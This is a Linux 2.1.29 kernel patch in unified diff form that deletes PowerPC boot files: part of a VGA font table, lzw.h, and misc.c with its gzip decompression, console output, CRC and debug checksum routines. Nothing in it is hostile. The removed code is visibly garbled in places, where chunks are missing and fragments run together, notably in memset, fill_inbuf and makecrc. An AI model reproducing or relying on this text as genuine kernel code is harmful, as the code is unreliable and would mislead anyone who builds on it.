0x00,0x18,0x30,0x60,0x00,0x7C,0xC6,0xC6,0xC6,0xC6,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0xA3 */ 0x00,0x18,0x30,0x60,0x00,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0x76,0x00,0x00,0x00,0x00, -/* 0xA4 */ 0x00,0x00,0x76,0xDC,0x00,0xDC,0x66,0x66,0x66,0x66,0x66,0x66,0x00,0x00,0x00,0x00, -/* 0xA5 */ 0x76,0xDC,0x00,0xC6,0xE6,0xF6,0xFE,0xDE,0xCE,0xC6,0xC6,0xC6,0x00,0x00,0x00,0x00, -/* 0xA6 */ 0x00,0x3C,0x6C,0x6C,0x3E,0x00,0x7E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xA7 */ 0x00,0x38,0x6C,0x6C,0x38,0x00,0x7C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xA8 */ 0x00,0x00,0x30,0x30,0x00,0x30,0x30,0x60,0xC0,0xC6,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0xA9 */ 0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0xC0,0xC0,0xC0,0xC0,0x00,0x00,0x00,0x00,0x00, -/* 0xAA */ 0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0x06,0x06,0x06,0x06,0x00,0x00,0x00,0x00,0x00, -/* 0xAB */ 0x00,0xC0,0xC0,0xC2,0xC6,0xCC,0x18,0x30,0x60,0xDC,0x86,0x0C,0x18,0x3E,0x00,0x00, -/* 0xAC */ 0x00,0xC0,0xC0,0xC2,0xC6,0xCC,0x18,0x30,0x66,0xCE,0x9E,0x3E,0x06,0x06,0x00,0x00, -/* 0xAD */ 0x00,0x00,0x18,0x18,0x00,0x18,0x18,0x18,0x3C,0x3C,0x3C,0x18,0x00,0x00,0x00,0x00, -/* 0xAE */ 0x00,0x00,0x00,0x00,0x00,0x36,0x6C,0xD8,0x6C,0x36,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xAF */ 0x00,0x00,0x00,0x00,0x00,0xD8,0x6C,0x36,0x6C,0xD8,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xB0 */ 0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44, -/* 0xB1 */ 0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA, -/* 0xB2 */ 0xDD,0x77,0xDD,0x77,0xDD,0x77,0xDD,0x77,0xDD,0x77,0xDD,0x77,0xDD,0x77,0xDD,0x77, -/* 0xB3 */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xB4 */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xF8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xB5 */ 0x18,0x18,0x18,0x18,0x18,0xF8,0x18,0xF8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xB6 */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xF6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* 0xB7 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* 0xB8 */ 0x00,0x00,0x00,0x00,0x00,0xF8,0x18,0xF8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xB9 */ 0x36,0x36,0x36,0x36,0x36,0xF6,0x06,0xF6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* 0xBA */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* 0xBB */ 0x00,0x00,0x00,0x00,0x00,0xFE,0x06,0xF6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* 0xBC */ 0x36,0x36,0x36,0x36,0x36,0xF6,0x06,0xFE,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xBD */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xFE,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xBE */ 0x18,0x18,0x18,0x18,0x18,0xF8,0x18,0xF8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xBF */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xC0 */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x1F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xC1 */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xC2 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xC3 */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x1F,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xC4 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xC5 */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xFF,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xC6 */ 0x18,0x18,0x18,0x18,0x18,0x1F,0x18,0x1F,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xC7 */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* 0xC8 */ 0x36,0x36,0x36,0x36,0x36,0x37,0x30,0x3F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xC9 */ 0x00,0x00,0x00,0x00,0x00,0x3F,0x30,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* 0xCA */ 0x36,0x36,0x36,0x36,0x36,0xF7,0x00,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xCB */ 0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0xF7,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* 0xCC */ 0x36,0x36,0x36,0x36,0x36,0x37,0x30,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* 0xCD */ 0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xCE */ 0x36,0x36,0x36,0x36,0x36,0xF7,0x00,0xF7,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* 0xCF */ 0x18,0x18,0x18,0x18,0x18,0xFF,0x00,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xD0 */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xD1 */ 0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0xFF,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xD2 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* 0xD3 */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x3F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xD4 */ 0x18,0x18,0x18,0x18,0x18,0x1F,0x18,0x1F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xD5 */ 0x00,0x00,0x00,0x00,0x00,0x1F,0x18,0x1F,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xD6 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3F,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* 0xD7 */ 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xFF,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, -/* 0xD8 */ 0x18,0x18,0x18,0x18,0x18,0xFF,0x18,0xFF,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xD9 */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xF8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xDA */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1F,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xDB */ 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, -/* 0xDC */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, -/* 0xDD */ 0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0, -/* 0xDE */ 0x0F,0x0F,0x0F,0x0F,0x0F,0x0F,0x0F,0x0F,0x0F,0x0F,0x0F,0x0F,0x0F,0x0F,0x0F,0x0F, -/* 0xDF */ 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xE0 */ 0x00,0x00,0x00,0x00,0x00,0x76,0xDC,0xD8,0xD8,0xD8,0xDC,0x76,0x00,0x00,0x00,0x00, -/* 0xE1 */ 0x00,0x00,0x7C,0xC6,0xC6,0xC6,0xFC,0xC6,0xC6,0xC6,0xC6,0xDC,0xC0,0xC0,0x00,0x00, -/* 0xE2 */ 0x00,0x00,0xFE,0xC6,0xC6,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0x00,0x00,0x00,0x00, -/* 0xE3 */ 0x00,0x00,0x00,0x00,0x00,0xFE,0x6C,0x6C,0x6C,0x6C,0x6C,0x6C,0x00,0x00,0x00,0x00, -/* 0xE4 */ 0x00,0x00,0xFE,0xC6,0x60,0x30,0x18,0x18,0x30,0x60,0xC6,0xFE,0x00,0x00,0x00,0x00, -/* 0xE5 */ 0x00,0x00,0x00,0x00,0x00,0x7E,0xD8,0xD8,0xD8,0xD8,0xD8,0x70,0x00,0x00,0x00,0x00, -/* 0xE6 */ 0x00,0x00,0x00,0x00,0x00,0x66,0x66,0x66,0x66,0x66,0x7C,0x60,0xC0,0x00,0x00,0x00, -/* 0xE7 */ 0x00,0x00,0x00,0x00,0x00,0x76,0xDC,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00,0x00, -/* 0xE8 */ 0x00,0x00,0x7E,0x18,0x3C,0x66,0x66,0x66,0x66,0x3C,0x18,0x7E,0x00,0x00,0x00,0x00, -/* 0xE9 */ 0x00,0x00,0x38,0x6C,0xC6,0xC6,0xFE,0xC6,0xC6,0xC6,0x6C,0x38,0x00,0x00,0x00,0x00, -/* 0xEA */ 0x00,0x00,0x38,0x6C,0xC6,0xC6,0xC6,0x6C,0x6C,0x6C,0x6C,0xEE,0x00,0x00,0x00,0x00, -/* 0xEB */ 0x00,0x00,0x1E,0x30,0x18,0x0C,0x3E,0x66,0x66,0x66,0x66,0x3C,0x00,0x00,0x00,0x00, -/* 0xEC */ 0x00,0x00,0x00,0x00,0x00,0x7E,0xDB,0xDB,0xDB,0x7E,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xED */ 0x00,0x00,0x00,0x03,0x06,0x7E,0xDB,0xDB,0xF3,0x7E,0x60,0xC0,0x00,0x00,0x00,0x00, -/* 0xEE */ 0x00,0x00,0x1C,0x30,0x60,0x60,0x7C,0x60,0x60,0x60,0x30,0x1C,0x00,0x00,0x00,0x00, -/* 0xEF */ 0x00,0x00,0x7C,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0x00,0x00,0x00,0x00, -/* 0xF0 */ 0x00,0x00,0x00,0x00,0xFE,0x00,0x00,0xFE,0x00,0x00,0xFE,0x00,0x00,0x00,0x00,0x00, -/* 0xF1 */ 0x00,0x00,0x00,0x00,0x18,0x18,0x7E,0x18,0x18,0x00,0x00,0xFF,0x00,0x00,0x00,0x00, -/* 0xF2 */ 0x00,0x00,0x00,0x30,0x18,0x0C,0x06,0x0C,0x18,0x30,0x00,0x7E,0x00,0x00,0x00,0x00, -/* 0xF3 */ 0x00,0x00,0x00,0x0C,0x18,0x30,0x60,0x30,0x18,0x0C,0x00,0x7E,0x00,0x00,0x00,0x00, -/* 0xF4 */ 0x00,0x0E,0x1B,0x1B,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* 0xF5 */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xD8,0xD8,0xD8,0x70,0x00,0x00,0x00,0x00, -/* 0xF6 */ 0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x7E,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00, -/* 0xF7 */ 0x00,0x00,0x00,0x00,0x00,0x76,0xDC,0x00,0x76,0xDC,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xF8 */ 0x00,0x38,0x6C,0x6C,0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xF9 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xFA */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xFB */ 0x00,0x0F,0x0C,0x0C,0x0C,0x0C,0x0C,0xEC,0x6C,0x6C,0x3C,0x1C,0x00,0x00,0x00,0x00, -/* 0xFC */ 0x00,0xD8,0x6C,0x6C,0x6C,0x6C,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xFD */ 0x00,0x70,0xD8,0x30,0x60,0xC8,0xF8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0xFE */ 0x00,0x00,0x00,0x00,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x7C,0x00,0x00,0x00,0x00,0x00, -}; diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/lzw.h linux/arch/ppc/boot/lzw.h --- linux-2.1.29/arch/ppc/boot/lzw.h Sat May 10 18:16:36 1997 +++ linux/arch/ppc/boot/lzw.h Wed Dec 31 19:00:00 1969 @@ -1,42 +0,0 @@ -/* lzw.h -- define the lzw functions. - * Copyright (C) 1992-1993 Jean-loup Gailly. - * This is free software; you can redistribute it and/or modify it under the - * terms of the GNU General Public License, see the file COPYING. - */ - -#if !defined(OF) && defined(lint) -# include "gzip.h" -#endif - -#ifndef BITS -# define BITS 16 -#endif -#define INIT_BITS 9 /* Initial number of bits per code */ - -#define LZW_MAGIC "\037\235" /* Magic header for lzw files, 1F 9D */ - -#define BIT_MASK 0x1f /* Mask for 'number of compression bits' */ -/* Mask 0x20 is reserved to mean a fourth header byte, and 0x40 is free. - * It's a pity that old uncompress does not check bit 0x20. That makes - * extension of the format actually undesirable because old compress - * would just crash on the new format instead of giving a meaningful - * error message. It does check the number of bits, but it's more - * helpful to say "unsupported format, get a new version" than - * "can only handle 16 bits". - */ - -#define BLOCK_MODE 0x80 -/* Block compression: if table is full and compression rate is dropping, - * clear the dictionary. - */ - -#define LZW_RESERVED 0x60 /* reserved bits */ - -#define CLEAR 256 /* flush the dictionary */ -#define FIRST (CLEAR+1) /* first free entry */ - -extern int maxbits; /* max bits per code for LZW */ -extern int block_mode; /* block compress mode -C compatible with 2.0 */ - -extern void lzw OF((int in, int out)); -extern void unlzw OF((int in, int out)); diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/misc.c linux/arch/ppc/boot/misc.c --- linux-2.1.29/arch/ppc/boot/misc.c Sat May 10 18:16:36 1997 +++ linux/arch/ppc/boot/misc.c Wed Dec 31 19:00:00 1969 @@ -1,762 +0,0 @@ -/* - * misc.c - * - * This is a collection of several routines from gzip-1.0.3 - * adapted for Linux. - * - * malloc by Hannu Savolainen 1993 and Matthias Urlichs 1994 - * puts by Nick Holloway 1993 - * - * Adapted for PowerPC by Gary Thomas - */ - -#include "gzip.h" -#include "lzw.h" -#include "asm/residual.h" - -RESIDUAL hold_residual; -void dump_buf(unsigned char *p, int s); -#define EOF -1 - -DECLARE(uch, inbuf, INBUFSIZ); -DECLARE(uch, outbuf, OUTBUFSIZ+OUTBUF_EXTRA); -DECLARE(uch, window, WSIZE); - -unsigned outcnt; -unsigned insize; -unsigned inptr; - -extern char input_data[]; -extern int input_len; - -int input_ptr; - -int method, exit_code, part_nb, last_member; -int test = 0; -int force = 0; -int verbose = 1; -long bytes_in, bytes_out; - -char *output_data; -unsigned long output_ptr; - -extern int end; -long free_mem_ptr = (long)&end; - -int to_stdout = 0; -int hard_math = 0; - -void (*work)(int inf, int outf); -void makecrc(void); - -local int get_method(int); - -char *vidmem = (char *)0xC00B8000; -int lines, cols; -int orig_x, orig_y; - -void puts(const char *); - -void *malloc(int size) -{ - void *p; - - if (size <0) error("Malloc error\n"); - if (free_mem_ptr <= 0) error("Memory error\n"); - - while(1) { - free_mem_ptr = (free_mem_ptr + 3) & ~3; /* Align */ - - p = (void *)free_mem_ptr; - free_mem_ptr += size; - - /* - * The part of the compressed kernel which has already been expanded - * is no longer needed. Therefore we can reuse it for malloc. - * With bigger kernels, this is necessary. - */ - - if (free_mem_ptr < (long)&end) { - if (free_mem_ptr > (long)&input_data[input_ptr]) - error("\nOut of memory\n"); - - return p; - } -#if 0 - if (free_mem_ptr < 0x90000) -#endif - return p; - puts("large kernel, low 1M tight..."); - free_mem_ptr = (long)input_data; - } -} - -void free(void *where) -{ /* Don't care */ -} - -static void clear_screen() -{ - int i, j; - for (i = 0; i < lines; i++) { - for (j = 0; j < cols; j++) { - vidmem[((i*cols)+j)*2] = ' '; - vidmem[((i*cols)+j)*2+1] = 0x07; - } - } -} - -static void scroll() -{ - int i; - - memcpy ( vidmem, vidmem + cols * 2, ( lines - 1 ) * cols * 2 ); - for ( i = ( lines - 1 ) * cols * 2; i < lines * cols * 2; i += 2 ) - vidmem[i] = ' '; -} - -void puts(const char *s) -{ - int x,y; - char c; - - x = orig_x; - y = orig_y; - - while ( ( c = *s++ ) != '\0' ) { - if ( c == '\n' ) { - x = 0; - if ( ++y >= lines ) { - scroll(); - y--; - } - } else { - vidmem [ ( x + cols * y ) * 2 ] = c; - if ( ++x >= cols ) { - x = 0; - if ( ++y >= lines ) { - scroll(); - y--; - } - } - } - } - - orig_x = x; - orig_y = y; -} - -__ptr_t memset(__ptr_t s, int c, size_t n) -{ - int i; - char *ss = (char*)s; - - for (i=0;i> 8); - } - } - crc = c; - return c ^ 0xffffffffL; /* (instead of ~c for 64-bit machines) */ -} - -/* =========================================================================== - * Clear input and output buffers - */ -void clear_bufs() -{ - outcnt = 0; - insize = inptr = 0; - bytes_in = bytes_out = 0L; -} - -/* =========================================================================== - * Fill the input buffer. This is called only when the buffer is empty - * and at least one byte is really needed. - */ -int fill_inbuf() -{ - int len, i; - - /* Read as much as possible */ -puts("*"); - insize = 0; - do { - len = INBUFSIZ-insize; - if (len > (input_len-input_ptr+1)) len=input_len-input_ptr+1; - if (len == 0 || len == EOF) break; - - for (i=0;i>= 1) - { - c = c & 1 ? (c >> 1) ^ e : c >> 1; - if (k & 1) - c ^= e; - } - crc_32_tab[i] = c; - } -} - -void error(char *x) -{ - puts("\n\n"); - puts(x); - puts("\n\n -- System halted"); - - while(1); /* Halt */ -} - -unsigned long -decompress_kernel(unsigned long load_addr, int num_words, unsigned long cksum, RESIDUAL *residual) -{ - unsigned long TotalMemory; - output_data = (char *)0x0; /* Points to 0 */ - lines = 25; - cols = 80; - orig_x = 0; - orig_y = 24; - - - /* Turn off MMU. Since we are mapped 1-1, this is OK. */ - flush_instruction_cache(); - _put_HID0(_get_HID0() & ~0x0000C000); - _put_MSR(_get_MSR() & ~0x0030); - - vga_init(0xC0000000); - clear_screen(); - - output_ptr = 0; - - exit_code = 0; - test = 0; - input_ptr = 0; - part_nb = 0; - - clear_bufs(); - makecrc(); - - puts("Loaded at "); puthex(load_addr); puts(", "); puthex(num_words); puts(" words"); - puts(", cksum = "); puthex(cksum); puts("\n"); - if (residual) { - _bcopy(residual, &hold_residual, sizeof(hold_residual)); - puts("Residual data at "); puthex(residual); puts("\n"); - show_residual_data(residual); - TotalMemory = residual->TotalMemory; - } else { - TotalMemory = 0x01000000; - } - - puts("Uncompressing Linux..."); - - method = get_method(0); - - work(0, 0); - - puts("done.\n"); - puts("Now booting the kernel\n"); - /*return (TotalMemory);*/ /* Later this can be a pointer to saved residual data */ - return &hold_residual; -} - -show_residual_data(RESIDUAL *res) -{ - puts("Residual data: "); puthex(res->ResidualLength); puts(" bytes\n"); - puts("Total memory: "); puthex(res->TotalMemory); puts("\n"); -#if 0 - puts("Residual structure = "); puthex(sizeof(*res)); puts(" bytes\n"); - dump_buf(&hold_residual, 32); - dump_buf(res, 32); -#endif -} - -#if 0 -verify_ram() -{ - unsigned long loc; - puts("Clearing memory:"); - for (loc = 0; loc <= 0x400000; loc += 4); - { - *(unsigned long *)loc = 0x0; - } - for (loc = 0; loc <= 0x400000; loc += 4); - { - if (*(unsigned long *)loc != 0x0) - { - puts(" - failed at "); - puthex(loc); - puts(": "); - puthex(*(unsigned long *)loc); - while (1); - } - } - puts("0"); - for (loc = 0; loc <= 0x400000; loc += 4); - { - *(unsigned long *)loc = 0xFFFFFFFF; - } - for (loc = 0; loc <= 0x400000; loc += 4); - { - if (*(unsigned long *)loc != 0xFFFFFFFF) - { - puts(" - failed at "); - puthex(loc); - puts(": "); - puthex(*(unsigned long *)loc); - while (1); - } - } - puts("1"); - for (loc = 0; loc <= 0x400000; loc += 4); - { - *(unsigned long *)loc = loc; - } - for (loc = 0; loc <= 0x400000; loc += 4); - { - if (*(unsigned long *)loc != loc) - { - puts(" - failed at "); - puthex(loc); - puts(": "); - puthex(*(unsigned long *)loc); - while (1); - } - } - puts("?"); - for (loc = 0; loc <= 0x400000; loc += 4); - { - *(unsigned long *)loc = 0xDEADB00B; - } - for (loc = 0; loc <= 0x400000; loc += 4); - { - if (*(unsigned long *)loc != 0xDEADB00B) - { - puts(" - failed at "); - puthex(loc); - puts(": "); - puthex(*(unsigned long *)loc); - while (1); - } - } - puts(">"); - for (loc = 0; loc <= 0x400000; loc += 4); - { - *(unsigned long *)loc = 0x0; - } - for (loc = 0; loc <= 0x400000; loc += 4); - { - if (*(unsigned long *)loc != 0x0) - { - puts(" - failed at "); - puthex(loc); - puts(": "); - puthex(*(unsigned long *)loc); - while (1); - } - } - puts("\n"); -} - -do_cksum(unsigned long loc) -{ - unsigned int ptr, cksum; - puts("cksum["); puthex(loc); puts("] = "); - cksum = 0; - for (ptr = loc; ptr < (loc+0x40000); ptr += 4) - { - cksum ^= *(unsigned long *)ptr; - } - puthex(cksum); puts(" "); - cksum = 0; loc += 0x40000; - for (ptr = loc; ptr < (loc+0x40000); ptr += 4) - { - cksum ^= *(unsigned long *)ptr; - } - puthex(cksum); puts(" "); - cksum = 0; loc += 0x40000; - for (ptr = loc; ptr < (loc+0x40000); ptr += 4) - { - cksum ^= *(unsigned long *)ptr; - } - puthex(cksum); puts(" "); - cksum = 0; loc += 0x40000; - for (ptr = loc; ptr < (loc+0x40000); ptr += 4) - { - cksum ^= *(unsigned long *)ptr; - } - puthex(cksum); puts("\n"); -} - -cksum_data() -{ - unsigned int *ptr, len, cksum, cnt; - cksum = cnt = 0; - ptr = input_data; - puts("Checksums: "); - for (len = 0; len < input_len; len += 4) { - cksum ^= *ptr++; - if (len && ((len & 0x0FFF) == 0)) { - if (cnt == 0) { - puts("\n ["); - puthex(ptr-1); - puts("] "); - } - puthex(cksum); - if (++cnt == 6) { - cnt = 0; - } else { - puts(" "); - } - } - } - puts("\n"); - puts("Data cksum = "); puthex(cksum); puts("\n"); -} - -cksum_text() -{ - extern int start, etext; - unsigned int *ptr, len, text_len, cksum, cnt; - cksum = cnt = 0; - ptr = &start; - text_len = (unsigned int)&etext - (unsigned int)&start; - puts("Checksums: "); - for (len = 0; len < text_len; len += 4) { - cksum ^= *ptr++; - if (len && ((len & 0x0FFF) == 0)) { - if (cnt == 0) { - puts("\n ["); - puthex(ptr-1); - puts("] "); - } - puthex(cksum); - if (++cnt == 6) { - cnt = 0; - } else { - puts(" "); - } - } - } - puts("\n"); - puts("TEXT cksum = "); puthex(cksum); puts("\n"); -} - -verify_data(unsigned long load_addr) -{ - extern int start, etext; - unsigned int *orig_ptr, *copy_ptr, len, errors; - errors = 0; - copy_ptr = input_data; - orig_ptr = (unsigned int *)(load_addr + ((unsigned int)input_data - (unsigned int)&start)); - for (len = 0; len < input_len; len += 4) { - if (*copy_ptr++ != *orig_ptr++) { - errors++; - } - } - copy_ptr = input_data; - orig_ptr = (unsigned int *)(load_addr + ((unsigned int)input_data - (unsigned int)&start)); - for (len = 0; len < input_len; len += 4) { - if (*copy_ptr++ != *orig_ptr++) { - dump_buf(copy_ptr-1, 128); - dump_buf(orig_ptr-1, 128); - puts("Total errors = "); puthex(errors*4); puts("\n"); - while (1) ; - } - } -} - -test_data(unsigned long load_addr) -{ - extern int start, etext; - unsigned int *orig_ptr, *copy_ptr, len, errors; - errors = 0; - copy_ptr = input_data; - orig_ptr = (unsigned int *)(load_addr + ((unsigned int)input_data - (unsigned int)&start)); - for (len = 0; len < input_len; len += 4) { - if (*copy_ptr++ != *orig_ptr++) { - errors++; - } - } - return (errors == 0); -} -#endif - -void puthex(unsigned long val) -{ - unsigned char buf[10]; - int i; - for (i = 7; i >= 0; i--) - { - buf[i] = "0123456789ABCDEF"[val & 0x0F]; - val >>= 4; - } - buf[8] = '\0'; - puts(buf); -} - -#if 1 -void puthex2(unsigned long val) -{ - unsigned char buf[4]; - int i; - for (i = 1; i >= 0; i--) - { - buf[i] = "0123456789ABCDEF"[val & 0x0F]; - val >>= 4; - } - buf[2] = '\0'; - puts(buf); -} - -void dump_buf(unsigned char *p, int s) -{ - int i, c; - if ((unsigned int)s > (unsigned int)p) - { - s = (unsigned int)s - (unsigned int)p; - } - while (s > 0) - { - puthex(p); puts(": "); - for (i = 0; i < 16; i++) - { - if (i < s) - { - puthex2(p[i] & 0xFF); - } else - { - puts(" "); - } - if ((i % 2) == 1) puts(" "); - if ((i % 8) == 7) puts(" "); - } - puts(" |"); - for (i = 0; i < 16; i++) - { - char buf[2]; - if (i < s) - { - c = p[i] & 0xFF; - if ((c < 0x20) || (c >= 0x7F)) c = '.'; - } else - { - c = ' '; - } - buf[0] = c; buf[1] = '\0'; - puts(buf); - } - puts("|\n"); - s -= 16; - p += 16; - } -} -#endif - -/* - * PCI/ISA I/O support - */ - -volatile unsigned char *ISA_io = (unsigned char *)0x80000000; -volatile unsigned char *ISA_mem = (unsigned char *)0xC0000000; - -void -outb(int port, char val) -{ - /* Ensure I/O operations complete */ - __asm__ volatile("eieio"); - ISA_io[port] = val; -} - -unsigned char -inb(int port) -{ - /* Ensure I/O operations complete */ - __asm__ volatile("eieio"); - return (ISA_io[port]); -} - -unsigned long -local_to_PCI(unsigned long addr) -{ - return ((addr & 0x7FFFFFFF) | 0x80000000); -} - -/* ======================================================================== - * Check the magic number of the input file and update ofname if an - * original name was given and to_stdout is not set. - * Return the compression method, -1 for error, -2 for warning. - * Set inptr to the offset of the next byte to be processed. - * This function may be called repeatedly for an input file consisting - * of several contiguous gzip'ed members. - * IN assertions: there is at least one remaining compressed member. - * If the member is a zip file, it must be the only one. - */ -local int get_method(in) - int in; /* input file descriptor */ -{ - uch flags; - char magic[2]; /* magic header */ - - magic[0] = (char)get_byte(); - magic[1] = (char)get_byte(); - - method = -1; /* unknown yet */ - part_nb++; /* number of parts in gzip file */ - last_member = 0; - /* assume multiple members in gzip file except for record oriented I/O */ - - if (memcmp(magic, GZIP_MAGIC, 2) == 0 - || memcmp(magic, OLD_GZIP_MAGIC, 2) == 0) { - - work = unzip; - method = (int)get_byte(); - flags = (uch)get_byte(); - if ((flags & ENCRYPTED) != 0) - error("Input is encrypted\n"); - if ((flags & CONTINUATION) != 0) - error("Multi part input\n"); - if ((flags & RESERVED) != 0) { - error("Input has invalid flags\n"); - exit_code = ERROR; - if (force <= 1) return -1; - } - (ulg)get_byte(); /* Get timestamp */ - ((ulg)get_byte()) << 8; - ((ulg)get_byte()) << 16; - ((ulg)get_byte()) << 24; - - (void)get_byte(); /* Ignore extra flags for the moment */ - (void)get_byte(); /* Ignore OS type for the moment */ - - if ((flags & EXTRA_FIELD) != 0) { - unsigned len = (unsigned)get_byte(); - len |= ((unsigned)get_byte())<<8; - while (len--) (void)get_byte(); - } - - /* Get original file name if it was truncated */ - if ((flags & ORIG_NAME) != 0) { - if (to_stdout || part_nb > 1) { - /* Discard the old name */ - while (get_byte() != 0) /* null */ ; - } else { - } /* to_stdout */ - } /* orig_name */ - - /* Discard file comment if any */ - if ((flags & COMMENT) != 0) { - while (get_byte() != 0) /* null */ ; - } - } else - error("unknown compression method"); - return method; -} - -void -_bcopy(char *src, char *dst, int len) -{ - while (len--) *dst++ = *src++; -} diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/mk_type41.c 